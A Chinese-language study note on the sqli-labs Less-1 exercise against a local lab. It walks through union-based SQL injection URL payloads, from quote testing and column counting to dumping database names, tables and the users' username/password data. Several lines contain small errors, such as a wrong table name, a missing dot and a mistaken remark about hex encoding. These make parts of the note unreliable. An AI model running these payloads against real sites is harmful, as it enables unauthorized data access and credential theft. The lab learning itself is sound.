sql基础操作
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema=‘security’
查列:select column_name from information_schema.columns where table_name=‘users’
查字段:select username,password from security.users
less-1补充知识
为了更好的学习sql注入,添加代码,使回显注入的语句
在第一关的查询语句后添加
echo $sql;//输出构造的sql语句
echo "<br>";//换行符
测试一下,使用HackBar测试?id=1,可以看到注入语句和name、password
在1后加入一个单引号’后,出现报错提示。由此可判断存在注入漏洞
观看显示的sql语句,可以发现多了一个单引号
sql语句中,大小写无区分
成功注入语句中,后面的limit 0,1;第一位为从第几个开始,比如0代表从第一个开始,第二位表示的是显示多少个数据
测试?id=1‘ or 1=1 --+ 发现不报错,并正确显示id为1的值
注入的语句为 SELECT * FROM users WHERE id=‘1’ or 1=1 – ’ LIMIT 0,1
注释语句:–+、–+、#
or 或 and 并
判断是否注入方法:
单引号
单引号+or
单引号+and
判断存在注入漏洞后,使用order by判断
127.0.0.1/Less-1/?id=1' order by 10--+
order by 意义:将第几列进行排序
第10列报错,说明不存在第10列。
多次测试后(二分法),发现存在3列数据。
尝试将3列数据显示出来
127.0.0.1/Less-1/?id=-1' union select 1,2,3--+
id为-1是因为如果正常数据的话,会显示正常数据,要把这个注释掉的话,将id=0或者负数均可
得到name为2,password为3。说明这两个位置有回显,可以利用
由下面可知,联合查询(union select)可以回显
补充查询函数select:
system_user() 系统用户
user()
current_user()
database() 数据库
version() 版本信息
@@datadir mysql的数据路径
@@version_compile_os 操作系统
使用联合查询,将第3个位置改为显示位置查库
http://127.0.0.1/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata --+
password处,可以使用limit 挨个查询数据库名称
http://127.0.0.1/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata limit 1,1 --+
或者使用group_concat
http://127.0.0.1/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
查security表
http://127.0.0.1/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.table where table_schema='security' --+
不推荐使用上面这种,因为会带入单引号,建议改为十六进制数据。
0x表示单引号,将表名改为十六进制,选中表名(security) 选择Hackbar-encoding-Hex encode
查users列
?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name=0x7573657273 --+
单独取出username和password的数据
?id=-1' union select 1,2,group_concat(password) from security users --+
联合查询:concat_ws(’~’,A,B)
显示出来的就是A~B
联合查name和password
?id=-1' union select 1,2,group_concat(concat_ws('~',username,password))from security.users --+
'~'要转为十六进制
总结
不要用单引号,转换为十六进制
流程:查看是否有注入-查看列数-查看哪些数据可以回显-查看数据库-查表-查列-查数据